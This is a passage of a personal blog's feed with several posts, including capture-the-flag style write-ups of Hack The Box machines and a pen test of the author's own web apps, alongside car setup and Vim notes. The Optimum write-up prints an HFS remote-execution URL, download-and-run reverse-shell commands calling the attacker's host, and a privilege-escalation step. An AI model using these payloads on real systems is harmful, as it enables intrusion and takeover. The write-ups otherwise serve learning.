<p>There's a very interesting commit there with the message "reverted accidental commit with the proper key". Could they be talking about the private key for root? Let's look at the commit before it (which should be the commit where the not 'proper key' is added instead of deleted) with git show <commit_hash> where <strong>commit_hash</strong> is the commit's hash: <code class="prettyprint">d387abf63e05c9628a59195cec9311751bdb283f</code>.</p>
<p><img src="/img/dev0ops-git-mistake.png" alt="image-alternative" /></p>
<p>Look at that! It's a private key. Now to be completely clear, I have no idea if this is actually root - this is all total guess work, but let's try it anyway. Save it to a file, change the permissions, you know the rest.</p>
<p><img src="/img/dev0ops-root.png" alt="image-alternative" /></p>
<p>It worked! You can find root.txt in /root.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Race Car Setup Reference Manual (For Video Games)]]></title>
        <id>https://justin.duch.me/post/car_setup</id>
        <link href="https://justin.duch.me/post/car_setup"/>
        <updated>2018-09-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Forza Horizon 4 is being released tomorrow (for Ultimate Edition owners), so while I endure this endless wait, let's look at how to setup your car, except we are actually going to look at the Assetto Corsa Competizione setup page because I can't actually see the FH4 page (it's probably better anyway). This is also the first post I've put in the engineering tab after the 5 months that this blog has been active. Neat.</p>
<h3 id="tyres">Tyres</h3>
<h4 id="psi">PSI</h4>
<p>Softer tyres have a larger surface area which improves traction at a cost to responsiveness in high load situations. Increasing tyre pressure can very slightly improve straight line speed, but also creates higher tyre temperatures.</p>
<h4 id="toe">Toe</h4>
<p>The toe angle identifies the exact direction the tires are pointed compared to the centerline of the vehicle when viewed from directly above. Toe is expressed in either degrees or fractions-of-an-inch, and an axle is said to have positive toe-in when imaginary lines running through the centerlines of the tires intersect in front of the vehicle and have negative toe-out when they diverge.</p>
<p>A primary purpose of adjusting toe is to alter how the vehicle responds to the initial steering input. Setting the front wheels with toe out will provide the vehicle with a sharper turning response at the expense of front stability.</p>
<p>Rear toe-in causes the more heavily loaded outside tire to start with a slight slip angle so the buildup in forces are going to start sooner and the maximum yaw for a given amount of steering will be less. For both of these reasons the car will feel more stable during cornering.</p>
<h4 id="camber">Camber</h4>
<p>The camber angle identifies how far the tire slants away from vertical when viewed directly from the front or back of the vehicle. Camber is expressed in degrees, and is said to be negative when the top of the tire tilts inward toward the center of the vehicle and positive when the top leans away from the center of the vehicle.</p>
<p>Adjusting the camber angle will change the tyre contact patch with the track surface, where adding negative camber can improve lateral grip in sustained cornering situations, at a cost to longitudinal traction.</p>
<h3 id="electronics">Electronics</h3>
<h4 id="tc">TC</h4>
<p>Traction control (TC) limits wheel spin under power. Higher levels give more intervention resulting in a more stable car but potentially slower lap times.</p>
<h4 id="abs">ABS</h4>
<p>An anti-lock braking system (ABS) keeps the wheels from locking under heavy braking. Higher levels equals more intervention, better positioning under braking, but longer braking distances.</p>
<h3 id="grip">Grip</h3>
<h4 id="antirollbars">Anti-Roll Bars</h4>
<p>Anti-roll bars don't directly add or take away grip; they simply shift how the load is distributed among the tires during cornering. This causes a balance shift because of a tire's load sensitivity. Stiff anti-roll bars will reduce the amount of body roll while turning into corners, but will put the tyres under excessive loads during prolonged corners. Soft anti-roll bars provide good traction throughout prolonged corners at a cost to initial responsiveness.</p>
<h4 id="brakepowerbias">Brake Power/Bias</h4>
<p>Brake pressure determines the maximum potential breaking power of the vehicle. Although an increase in brake pressure can result in shorter stopping distances, depending on the amount of ABS, it will be far easier to lock up.</p>
<p>Brake bias indicates the relative amount of brake pressure applied to the front brakes. E.g. 52% would indicate that the front brakes were receiving 52% of the brake pressure and the rear brakes would be receiving 48%. Brake bias adjustable from the cockpit in GT3 cars and is used to maximize braking potential and control vehicle balance while using the brakes. Setting brake bias to the front increases the chances of front lock ups, causing understeer on corner entry, whereas rearward bias has the opposite effect.</p>
<h4 id="steeringratio">Steering Ratio</h4>
<p>The steering ratio is the ratio of the number of degrees of turn of the steering wheel to the number of degrees the wheel turn as a result. A higher steering ratio means that the steering wheel is turned more to get the wheels turning, but it will be easier to turn the steering wheel. A lower steering ratio means that the steering wheel is turned less to get the wheels turning, but it will be harder to turn the steering wheel.</p>
<h4 id="wheelrate">Wheel Rate</h4>
<p>Wheel rate is the spring rate (amount of weight it takes to compress a spring a certain distance) but measured at the wheel instead of where the spring attaches to the chassis. Higher wheel rates will stop the car from lunging forward during aggressive breaking or rearward under sudden acceleration. While this improves aerodynamic stability, it can be very harsh on tyres as well as skittish over bumps. Lower rates absorb bumps more effectively, but harsh acceleration or breaking can pivot the vehicle aggressively, lowering stability.</p>
<h4 id="dampers">Dampers</h4>
<p>A part of a car's suspension designed to reduce oscillations and modify the dynamic movement of the car. Also known as a shock absorber. Race-oriented dampers may have separate adjustment for compression (bump) and extension (rebound). Dampers can be configured in slow speeds (slow body movements; in roll, pitch and squat), as well as fast speeds (fast suspension movements when going over bumps, kerbs, and similar undulations of the surface). In general, to improve road holding over bumps you will want to soften dampers up to the point that you get no more than one oscillation after a big bump. This means that the car goes to full compression during a bump, and then it can go to full extension before finally settling back to its normal ride height.</p>
<h3 id="aero">Aero</h3>
<h4 id="rideheight">Ride Height</h4>
<p>This is the static or dynamic measure of a car chassis in relation to the ground. It is usually measured from the lowest points on the car that will make contact with the ground first if the ride height is too low. Lowering the ride height will lower the center of gravity (CG) which reduces load transfer and increases grip. The lower the CG the faster the car will be, however at some point the car will start having issues with bottoming out on the track or start having issues with suspension.</p>
<h4 id="rearwingsplitter">Rear Wing &amp; Splitter</h4>
<p>Higher wing/splitter angle with create more downforce, allowing a car to travel faster through a corner by increasing the vertical force on the tires, creating more grip, but at a cost to more drag which reduces straight line speed.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Optimum (ft. PowerShell)]]></title>
        <id>https://justin.duch.me/post/htb_optimum</id>
        <link href="https://justin.duch.me/post/htb_optimum"/>
        <updated>2018-09-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Optimum was a fun box with which while the write-up says to use Metasploit, can be done almost entirely with PowerShell. This makes it good practice for someone like me who has never used PowerShell to learn some basic things.</p>
<p><img src="/img/optimum-nmap.png" alt="image-alternative" /></p>
<p>Our initial nmap scans only show one port open running HttpFileServer (HFS) version 2.3, which is vulnerable to <a href="https://www.cvedetails.com/cve/CVE-2014-6287/">CVE-2014-6287</a>. From the description it <em>"allows remote attackers to execute arbitrary programs via a %00 sequence in a search action."</em> Basically this just allows us to execute HFS template macros by just sending a null byte (%00) to the search item. Metasploit has the module <strong>exploit/windows/http/rejetto<em>hfs</em>exec</strong> to exploit this vulnerability and get a meterpreter shell, but to get a reverse shell in PowerShell, we are going to do it manually.</p>
<p>Using <a href="http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands">this reference guide</a>, we can see that the command we want is <code class="prettyprint">{.exec | A.}</code>, where <code class="prettyprint">A</code> is the file to run. In order to get a reverse shell, our script will want to look something like: <code class="prettyprint">{exec | powershell.exe ReverseShell.ps1}</code>, which will run the "ReverseShell.ps1" script in PowerShell. The reverse shell script we will be using comes from <a href="https://github.com/samratashok/nishang">Nishang</a>, which is a collection of PowerShell scripts used for pen testing. Specifically we want to use <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">Invoke-PowerShellTcp.ps1</a>. Download it and add this line to the bottom of the file to make the <code class="prettyprint">Invoke-PowerShellTcp</code> function run when the script is executed without any arguments:</p>
<pre class="prettyprint linenums"><code>Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 4444
</code></pre>
<p>Our IP address is <code class="prettyprint">10.10.14.3</code> and we want to listen on port <code class="prettyprint">4444</code>. In order to get this script into the target machine, we will setup our own HTTP server from where the file can be downloaded from. This can be done using a basic Python module form the command line:</p>
<pre class="prettyprint linenums"><code># Make sure you are in the same directory as the reverse shell script
$ python -m SimpleHTTPServer # for Python 2
$ python -m http.server # for Python 3
</code></pre>
<p>This will setup a HTTP server which we can access from our IP address <code class="prettyprint">(10.10.14.3)</code> on port <code class="prettyprint">8000</code> (by default). Okay, so now we need a way to cause our target machine to download and run this script. On a Linux box with Bash this would be a simple:</p>
<pre class="prettyprint linenums"><code>curl http://10.10.14.3:8000/ReverseShell.sh | bash
</code></pre>
<p>But on PowerShell it looks a bit different:</p>
<pre class="prettyprint linenums"><code>IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.3:8000/Invoke-PowerShellTcp.ps1')
</code></pre>
<p>Because this isn't intended to be a tutorial on PowerShell (I intend to do that later), for now I'll just say that this command is almost identical in what it does to the curl command above. That is - it downloads the reverse shell script and then runs it.</p>
<p>Now is finally time to do the exploit. We will open up netcat as our listener on port 4444 with "nc -lvnp 4444" and paste this into the search URL:</p>
<pre class="prettyprint linenums"><code>/?search=%00{.exec|C%3a\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe+IEX(New-Object+System.Net.WebClient).DownloadString('http%3a//10.10.14.4%3a8000/Invoke-PowerShellTcp.ps1').}  Without URL encoding it should look like this:

/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object+System.Net.WebClient).DownloadString('http://10.10.14.4:8000/Invoke-PowerShellTcp.ps1').}
</code></pre>
<p>You can see at the start we use the null terminator (%00) then execute our command from <code class="prettyprint">powershell.exe</code> located in <code class="prettyprint">C:\Windows\SysNative\WindowsPowershell\v1.0\</code> which is the 64bit version of PowerShell.</p>
<p><img src="/img/optimum-ncat.png" alt="image-alternative" /></p>
<p>We can now get <code class="prettyprint">user.txt</code> from the current directory.</p>
<p>Normally to get root with Metasploit you could use <strong>local<em>exploit</em>suggester</strong>. But we will use <a href="https://github.com/rasta-mouse/Sherlock">Sherlock</a>, which is a script to find missing software patches for privesc. Download it and add this line to the bottom of the script:</p>
<pre class="prettyprint linenums"><code>Find-AllVulns
</code></pre>
<p>Now we will invoke it from our shell with:</p>
<pre class="prettyprint linenums"><code>IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.3:8000/Sherlock.ps1')
</code></pre>
<p>This will go through every vulnerability, but the one we are interested in is this (MS16-032):</p>
<p><img src="/img/optimum-sherlock.png" alt="image-alternative" /></p>
<p> <code class="prettyprint">MS16-032</code> is a vulnerability could allow elevation of privilege if the Windows Secondary Logon Service fails to properly manage request handles in memory.</p>
<p>In order to exploit this vulnerability we will use <a href="https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1">this script</a> form the Empire exploitation framework for PowerShell. As usual add this line at the bottom to run the function when it is downloaded.</p>
<pre class="prettyprint linenums"><code>Invoke-MS16032 -Command "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.4:8000/Invoke-PowerShellTcp-MS16032.ps1')"
</code></pre>
<p>As you can see we are creating another reverse shell, but because of the <code class="prettyprint">MS16-032</code> exploit, we will run it as root. Also note that you can't use the same port that your current shell is using, so you will have to create another script and netcat instance with a different port. I will be using port <code class="prettyprint">4448</code>.</p>
<p>Now we run the command from our shell to get the script:</p>
<pre class="prettyprint linenums"><code>IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.3:8000/Invoke-MS16032.ps1')
</code></pre>
<p><img src="/img/optimum-root.png" alt="image-alternative" /></p>
<p>And now we are root. The flag is in <code class="prettyprint">C:\Users\Administrator\Desktop\root.txt</code>.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[And Remember To SMASH That Subscribe Button]]></title>
        <id>https://justin.duch.me/post/remember_to_subscribe</id>
        <link href="https://justin.duch.me/post/remember_to_subscribe"/>
        <updated>2018-09-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>A few days ago someone asked if I had a subscribe feature for this blog where I would email people every time I posted something, so I told them:</p>
<p><em>'No, that's a shit idea, why would I want to make it easier for people to read my poorly written rants?'</em></p>
<p>However, it's currently 01:00 in the morning and I've been attempting privilege escalation on the HTB box SecNotes for over 7 hours now trying to get this STUPID FUCKING <strong><redacted for spoilers></strong> TO WORK AND I DON'T EVEN KNOW IF IT'S WHAT I'M SUPPOSED TO DO. I MEAN I MANAGED TO GET A <strong><redacted for spoilers></strong> WORKING EXCEPT IT DOESN'T ACTUALLY WORK FOR SOME REASON I DON'T KNOW WHAT THE FUCK EVEN IS THIS.</p>
<p>So I think it's time to do something different.</p>
<p>If you go to the <a href="/">home page</a> now and scroll to the bottom, you will see a field where you can enter your email to subscribe and be notified every time I post and article! Just make sure to verify your email after you enter it.</p>
<p>Ok that's all. Thanks everyone, goodbye.</p>
<p>…</p>
<p>Oh of course that's not actually the end silly! This is a tech blog after all, and I am legally required to explain how it works even though it's incredibly simple and no one cares. So let's get right into it.</p>
<p>In order to actually send the emails I'm using an edited version of <a href="https://github.com/ludmal/pylib/blob/master/mail.py">this script</a> which made the process pretty simple, making the majority of my work focused on the verification and unsubscribing portions. Both of these as you would imagine are just uuids I assign to each email and send through with each link.</p>
<p>Now with the emails themselves, you may have noticed that they are being sent from 'noreply@noreply.justinduch.com' instead of my actual <em>business</em> email which is 'justin@justinduch.com'. This is because Protonmail, the email server I am using, does not support IMAP/SMTP currently. I've had to create new domain records for 'noreply.justinduch.com' in order to point MX records to the Google SMTP servers, which is obviously not ideal but there's not much I can do.</p>
<p>The actual email content is in HTML, although I was too lazy to actually write it myself I just used <a href="https://beefree.io/">BEE Free</a> to make them for me (not advertising or anything, they were literally the first search result for 'html email editor'). I think the email itself looks fine, but if you look at the source code for these emails, the combination of not having the ability to put CSS in separate files and generated code from some website makes it's a pretty ugly site to see.</p>
<p>I think that just about wraps it up. Like I said, pretty simple and uninteresting. So that's it for real now. Goodbye.</p>
<p>…</p>
<p>SIKE! Did you forget that this actually a security-focused tech blog? The one thing that was constantly going through my mind as I wrote this service up (for reasons completely unrelated to previous events) was: <em>'can this be hacked?'</em></p>
<p>The answer to that, as always is:</p>
<p><em>'Uh, yeah… pr-probably.'</em></p>
<p>While writing it I attempted to identify the most likely things that could be vulnerable. Which were obviously SQLi and XSS, but because I'm kinda tired right now, I'm just gonna get SQLi out of the way: No, you can't, peewee santises everything.</p>
<p>So let's try to XSS the initial subscription page, which shows you your email after you enter it on the next page. We will just put in a basic <code class="prettyprint">&lt;plaintext&gt;</code> tag.</p>
<p><img src="/img/subscribe-plaintext.png" alt="image-alternative" /></p>
<p>Oh no! It only accepts correct email addresses and stops us from submitting our code! Looks like this is unhackable…</p>
<p>Is what an idiot would say. This shitty client side validation is no match against my best friend Burp Suite. We'll just give the input a correct value and my buddy will intercept the request and change it to the value we actual want.</p>
<p><img src="/img/subscribe-burb.png" alt="image-alternative" /></p>
<p>Wow. I wish I could intercept like Burp.</p>
<p><img src="/img/subscribe-fail.png" alt="image-alternative" /> Oh. It didn't work and looking at the logs, it looks like it failed correctly.</p>
<p><img src="/img/subscribe-error.png" alt="image-alternative" /> Looks like this is it then. The real end. It's been a good ride, have a great night everyone.</p>
<p>…</p>
<p>But I hear you ask: <em>'Isn't this also a fashion blog?'</em></p>
<p>No. That was a one time thing. I'm serious now this is the end.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Looking At My .Vimrc]]></title>
        <id>https://justin.duch.me/post/vimrc</id>
        <link href="https://justin.duch.me/post/vimrc"/>
        <updated>2018-09-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This is a reference guide for my .vimrc that you can find <a href="https://github.com/beanpuppy/dotfiles/blob/master/vimrc">here</a>. This is mainly being written because I keep forgetting what keybindings some of the plugins use. Even though this is not a guide to the .vimrc, if you use Vim you may still find this somewhat useful. If you don't use Vim, you are a bad person and should go away &gt;:(</p>
<h3 id="leader">Leader</h3>
<p>The leader key has been remapped to the comma key <code class="prettyprint">,</code>.</p>
<h3 id="tabsbuffers">Tabs/Buffers</h3>
<p>Move between tabs with <code class="prettyprint">--</code> to go back and <code class="prettyprint">==</code> to go forward.</p>
<p>Move between buffers with <code class="prettyprint">TAB-k</code> to go back and <code class="prettyprint">TAB-j</code> to forward.</p>
<p>Close buffers with <code class="prettyprint">LEADER-bq</code>.</p>
<h3 id="windows">Windows</h3>
<p>Move between window panes with <code class="prettyprint">CTRL-[h,j,k,l]</code>.</p>
<p>Create a terminal window (only on Vim8) with <code class="prettyprint">LEADER-ht</code> for horizontal and <code class="prettyprint">LEADER-vt</code> for vertical.</p>
<p>Close a terminal window with <code class="prettyprint">ESC</code>.</p>
<h3 id="commandsother">Commands/Other</h3>
<p>Show the weather (for Sydney) with <code class="prettyprint">LEADER-we</code>.</p>
<p>Reference the current file's path in command line with <code class="prettyprint">%%</code>.</p>
<p>Run the current file with Python with <code class="prettyprint">:Pyrun</code>. Do it with interactive mode <code class="prettyprint">:PyrunI</code>.</p>
<p>Write as root with sudo tee hack with <code class="prettyprint">:w!!</code>.</p>
<p>Rename current file with <code class="prettyprint">LEADER-rn</code>.</p>
<h3 id="plugins">Plugins</h3>
<h4 id="undotreehttpsgithubcommbbillundotree"><a href="https://github.com/mbbill/undotree">Undotree</a></h4>
<p>Open undotree with <code class="prettyprint">LEADER-u</code>.</p>
<h4 id="tagbarhttpsgithubcommajutsushitagbarctags"><a href="https://github.com/majutsushi/tagbar">TagBar</a> / CTags</h4>
<p>Open TagBar with <code class="prettyprint">LEADER-t</code>.</p>
<h4 id="easymotionhttpsgithubcomeasymotionvimeasymotion"><a href="https://github.com/easymotion/vim-easymotion">Easymotion</a></h4>
<p>Trigger word motion with LEADER LEADER w.</p>
<p>Search ctags with LEADER-..</p>
<h4 id="multiplecursorshttpsgithubcomterrymavimmultiplecursors"><a href="https://github.com/terryma/vim-multiple-cursors">Multiple Cursors</a></h4>
<p>Taken from the docs (mostly), I haven't played around with this very much:</p>
<ul>
<li><p>start: <code class="prettyprint">CTRL-n</code> start multicursor and add a virtual cursor + selection on the match</p></li>
<li><p>next: <code class="prettyprint">CTRL-n</code> add a new virtual cursor + selection on the next match</p></li>
<li><p>skip: <code class="prettyprint">CTRL-x</code> skip the next match</p></li>
<li><p>select all: <code class="prettyprint">ALT-n</code> star muticursor and directly select all matches
You can now change the virtual cursors + selection with visual mode commands. For instance: c, s, I, A work without any issues. You could also go to normal mode by pressing v and use normal commands there.</p></li>
</ul>
<p>At any time, you can press <code class="prettyprint">ESC</code> to exit back to regular Vim.</p>
<h4 id="commentaryhttpsgithubcomtpopevimcommentary"><a href="https://github.com/tpope/vim-commentary">Commentary</a></h4>
<p>Comment out one line with <code class="prettyprint">gcc</code>.</p>
<p>Comment out multiple lines (in visual. mode) with <code class="prettyprint">gc</code>.</p>
<h4 id="surroundhttpsgithubcomtpopevimsurround"><a href="https://github.com/tpope/vim-surround">Surround</a></h4>
<p>Change the surrounding elements of a word with <code class="prettyprint">cs/old/new/</code>. e.g <code class="prettyprint">cs'"</code>.</p>
<p>Wrap a word with elements with <code class="prettyprint">ysiw/elem/.</code> e.g <code class="prettyprint">ysiw{</code>.</p>
<h4 id="easymotionhttpsgithubcomeasymotionvimeasymotion-1"><a href="https://github.com/easymotion/vim-easymotion">Easymotion</a></h4>
<p>Trigger word motion with <code class="prettyprint">LEADER-LEADER-w</code>.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Basic Pen Test Of Every Web Application I've Made]]></title>
        <id>https://justin.duch.me/post/basic_wapt</id>
        <link href="https://justin.duch.me/post/basic_wapt"/>
        <updated>2018-09-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This is going to be a very short penetration test mainly focusing on low hanging fruit, mostly because I don't care very much for what I've made - they were all created to serve a specific goal of allowing me to learn something new instead of actually being useful. In fact, this blog is the only thing I still maintain and all the others will probably be turned off at some point and to be honest, I seriously doubt I will find any exploits. While security wasn't a main focus when creating these applications, I believe (or at least I hope) I wasn't stupid enough to leave myself vulnerable to any of the basic exploits I will attempt here today. Although there is only one way to find out, so let's get on with it.</p>
<h3 id="0x100spds">0x100: SPDS</h3>
<p><a href="/post/spds_release">Spotfiy Playlist Depression Score (SPDS)</a> is an application that rates how depressing your Spotify playlist is. This was my first foray into the JavaScript framework world with AngularJS, so let's start off with some basic XSS.</p>
<p>The only field we can enter any inputs is this one here, where you can manually enter a playlist.</p>
<p><img src="/img/wapt-spds-xss-find.png" alt="image-alternative" /></p>
<p>So now let's inject some HTML code, I will try a <code class="prettyprint">&lt;h1&gt;This shouldn't work&lt;/h1&gt;</code>. It now displays this:</p>
<p><img src="/img/wapt-spds-xss-attempt.png" alt="image-alternative" /></p>
<p>Obviously, it didn't work because the playlist ID is never actually shown anywhere after you enter it (apart from the URL) and it is only used for the Spotify API. Entering a wrong ID will just to just not show anything, although it is only just now occurring to me that I should have implemented some sort of error message when you enter an ID that doesn't exist.</p>
<p>Next we could attempt a SQL inject. I know that the playlist ID given in the URL attempts a SQL query for a playlist in the database which acts as a cache for the Spotify and Genius APIs in order to prevent them from being called very often and speed up the process on subsequent ranking attempts.</p>
<p>Fortunately (or unfortunately, depending on whose side you're on), we won't even need to attempt it as <a href="https://github.com/beanpuppy/spds/blob/master/app.py#L121-L125">this code here</a> shows that we still call the Spotify API to verify that it is an existing playlist ID before we even start our SQL query.</p>
<pre class="prettyprint linenums"><code class="python language-python">playlist_id = request.args.get(<span class="hljs-string">&#x27;playlist&#x27;</span>)
page        = request.args.get(<span class="hljs-string">&#x27;page&#x27;</span>)
playlist    = spotify.get_playlist(user.get(<span class="hljs-string">&#x27;id&#x27;</span>, <span class="hljs-string">&#x27;me&#x27;</span>), playlist_id, auth_header)

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> valid_token(playlist): <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">&#x27;/search&#x27;</span>, code=<span class="hljs-number">302</span>)
</code></pre>
<p>Okay then. What else can we do… session hijacking? We can log into Spotify which gives us an auth header, allowing SPDS to see user data (our playlists), the app then stores the auth header in the session to post to Spotify in future requests.</p>
<p>The web framework we're using (Flask), stores a session identifier in a cookie like so:</p>
<p><img src="/img/wapt-spds-session.png" alt="image-alternative" /></p>
<p>So if we manage to steal a victim's session, we will be logged into the victim's Spotify for our app! And this is where our pen test for SPDS ends. As far as I know, there is no way to get a session without having direct access to a victim's computer or the server hosting the app (or having it shown in a screenshot from a blog ;). Common ways like XSS won't work (as seen above) and packet sniffing won't work as everything goes through HTTPS while attempting to use HTTP instead will just redirect to this blog (for some reason. I should probably go fix that).</p>
<h3 id="0x200viperidae">0x200: Viperidae</h3>
<p>Okay so far the score is [Me (pen tester): 0 - Me (software developer): 1] and with Viperidae, my incomplete attempt at a search engine, it looks like 'Me (software developer)' is going for a commanding 0-2 victory.</p>
<p>Viperidae was supposed to have two parts to it's API, the main part being one used by developers. The developer part would allow devs to crawl and index their own sites and implement a search for them, allowing developers to easily implement a search for their own site by just hooking into the Viperidae API. Anyway the point is that most of this is not complete, and only a public facing site is active right now, which is very limited.</p>
<p>This is going to be a very quick test since the app is so small. In fact I can sum it up in bullet points.</p>
<ul>
<li><strong>XSS:</strong> No. The JS framework I was learning this time (React) sanitises everything.</li>
<li><strong>SQLi:</strong> No. It doesn't use SQL (the public version doesn't, the developer version would).</li>
<li><strong>Session Hijacking:</strong> No. It doesn't use sessions.</li>
</ul>
<p>However, there is one part I been concerned about for a while and just haven't been bothered to check if it was actually a concern. If you look at the code for the crawler you will see <a href="https://github.com/beanpuppy/viperidae/blob/canary/api/crawl.py#L202-L204">these three lines</a>.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">del</span>(Spider.cache) <span class="hljs-comment"># I&#x27;m pretty sure Spider.cache causes a memory leak</span>
gc.collect() <span class="hljs-comment"># so this just makes sure it is cleared, we don&#x27;t need it anymore</span>
Spider.cache = {} <span class="hljs-comment"># I actually have no idea, should probably test it</span>
</code></pre>
<p>As you can see from the comments, I am concerned about the cache causing a memory leak, as the crawler saves every page it requests into this cache. Since Spider.cache is a class attribute, it is shared between all instances of classes. I was unsure if this was ever cleared so I manually did it myself. Now I am finally going to test this.</p>
<p>We will do two tests - one with the <em>'fix'</em> and one without. I will be using the script below which requests several sites for the API to index and then monitor the memory usage.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">import</span> requests

URL = <span class="hljs-string">&#x27;https://viperidae.app/index&#x27;</span>

SITES = [
    <span class="hljs-string">&#x27;https://blog.justinduch.com&#x27;</span>,
    <span class="hljs-string">&#x27;http://www.zachtronics.com&#x27;</span>,
    <span class="hljs-string">&#x27;https://www.redpandanetwork.org&#x27;</span>,
    <span class="hljs-string">&#x27;https://infosecjon.com&#x27;</span>,
    <span class="hljs-string">&#x27;https://www.malwarebytes.com&#x27;</span>,
    <span class="hljs-string">&#x27;https://www.docker.com&#x27;</span>,
    <span class="hljs-string">&#x27;https://www.bleepingcomputer.com&#x27;</span>,
    <span class="hljs-string">&#x27;https://www.renaultsport.com&#x27;</span>,
    <span class="hljs-string">&#x27;https://frog.com&#x27;</span>,
    <span class="hljs-string">&#x27;https://www.bookdepository.com&#x27;</span>
    <span class="hljs-string">&#x27;https://plenz.com&#x27;</span>
]

<span class="hljs-keyword">def</span> <span class="hljs-title function_">test_memory</span>():
    <span class="hljs-keyword">for</span> site <span class="hljs-keyword">in</span> SITES:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;Requesting <span class="hljs-subst">{site}</span>&#x27;</span>)
        payload = { <span class="hljs-string">&#x27;u&#x27;</span> : site }
        requests.get(URL, params=payload)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:
    test_memory()
</code></pre>
<p>Here is the memory usage before we start.</p>
<p><img src="/img/wapt-viperidae-memory.png" alt="image-alternative" /></p>
<p>Now we will run the script with the <em>'fix'</em> implemented.</p>
<p>There was no difference, the graph is exactly the same. I even looked at the memory usage from the server itself with free -m before and after, and also found no difference. So maybe the fix really is a fix? Okay so now let's remove it and run the test again.</p>
<p><img src="/img/wapt-viperidae-memory-after.png" alt="image-alternative" /></p>
<p>Again no difference except from a small decrease, which is probably just from me restarting the app. Now it is possible that I just didn't request as many sites as I may have should, but I would still have expected even the slightest increase in memory usage. So it turns out my fears of a memory leak were wrong and the fix was unneeded.</p>
<h3 id="0x300blog">0x300: Blog</h3>
<p>Considering this is the only web app I still maintain, I'm going to put a little more effort in trying to find vulnerabilities. However, we still have to start with the basics.</p>
<ul>
<li><strong>XSS:</strong> No. There is nowhere to do it (the search bar doesn't work).</li>
<li><strong>SQLi</strong> No. The article IDs in the URL are actually used in a SQL query, but those are sanitised by peewee.</li>
<li><strong>Session Hijacking:</strong> No. There are no sessions being used.</li>
</ul>
<p>With those out of the way, let's look at 'path file traversal'. If you look at the URLs for any of the images shown here, you will see that they are all from <code class="prettyprint">/article/static/img/</code> which is the real path from the file structure of the app. The web framework I use is very determent on directory structure to act as individual pages. Looking at the code, we can see that the framework just serves the file by the filename straight from the specified directory without doing anything to it.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-meta">@web(<span class="hljs-params"><span class="hljs-string">&#x27;/common/static/&#x27;</span>, file=<span class="hljs-literal">True</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">files</span>(<span class="hljs-params">request, file</span>):
    <span class="hljs-keyword">return</span> <span class="hljs-string">&#x27;./common/static/&#x27;</span> + file
</code></pre>
<p>Let's attempt a dot-dot-slash attack by prefacing the sequence with <code class="prettyprint">../.</code> With this, it may be possible to access directories that are hierarchically higher than the one from which we are picking the file. Let's attempt to show <code class="prettyprint">/etc/passwd</code>.</p>
<p>Looking back at the code and it's directory structure, we can see that <code class="prettyprint">/common/static/</code> is 4 directories down from the blog's root directory. Now we can assume (although I know it is) that the blog is hosted in <code class="prettyprint">/var/www/</code> which is another 2 directories from root. In order to get to /etc/passwd, we will need to preface it with 6 <code class="prettyprint">../</code>s. So it will look something like this:</p>
<p><img src="/img/wapt-blog-file-test.png" alt="image-alternative" /></p>
<p>If you try it yourself, you will just see that it resolves to <code class="prettyprint">blog.justinduch.com/etc/passwd</code> and returns a 404. I also did another test where I attempted to get a file just outside in the <code class="prettyprint">common/</code> directory, but that didn't work too.</p>
<p>Finally, let's attempt to get into to <code class="prettyprint">/admin</code> page, which is where all the articles are edited. Currently what I do to add/edit articles is: turn on a dev instance of the app, go to <code class="prettyprint">/admin</code>, add/edit the article, dump the SQL db to a file, and then source the file in the production server. What allows the app to determine whether it is either in a dev or production instance is a single environment variable. If we were somehow able to change the environment variable in our production server everyone would be granted access to <code class="prettyprint">/admin</code>! Obviously this is not the best way of editing posts, but I do intend to change this… eventually.</p>
<p>The only problem is that I have no knowledge of environment variable exploits from a web app, but since this is the grand finale, let's do something I've not done so far but probably should have many times. I'm going to <del>Google</del> DuckDuckGo it.</p>
<p><img src="/img/wapt-blog-duck.png" alt="image-alternative" /></p>
<p>I didn't find anything. Not saying an exploit like that doesn't exist, just that I couldn't find anything like it. Either way, I really need to update this blog.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Techwear Clothing and How To Live Out Your Dystopian Cyberpunk Dreams]]></title>
        <id>https://justin.duch.me/post/techwear_clothing</id>
        <link href="https://justin.duch.me/post/techwear_clothing"/>
